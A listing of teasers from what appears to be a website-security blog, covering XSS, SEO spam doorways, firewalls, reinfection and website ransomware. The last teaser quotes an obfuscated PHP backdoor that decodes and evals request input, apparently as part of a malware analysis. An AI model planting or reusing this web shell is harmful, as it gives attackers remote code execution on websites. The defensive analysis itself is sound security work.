Question: What is an XSS vulnerability? Should I be concerned about an XSS vulnerability? XSS (short for Cross-Site Scripting) is a widespread vulnerability that affects…
A compromised website is perfect for placing black hat SEO doorways. Usually hackers either create such doorways as static files in deep subdirectories or use…
Question: How should a website owner differentiate between firewalls? What do they do? The term “firewall” is not new. It is common terminology in the…
You may remove malware from files and a database, close all security holes, change all passwords, but your site still gets reinfected regularly. It may…
During the last couple of years, website ransomware has become one of the most actively developing types of malware. After infamous fake anti-viruses, this it the second…
Web developers today rely on various third-party APIs. For example, these APIs allow you to accept credit card payments, integrate a social network with your…
There used to be this backdoor that was mainly uploaded via old Gravity Forms vulnerabilities: < script language=”php” > $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100). chr(101).chr(99).chr(111).chr(100).chr(101); e v a l($a($_REQUEST[sam]));</script>…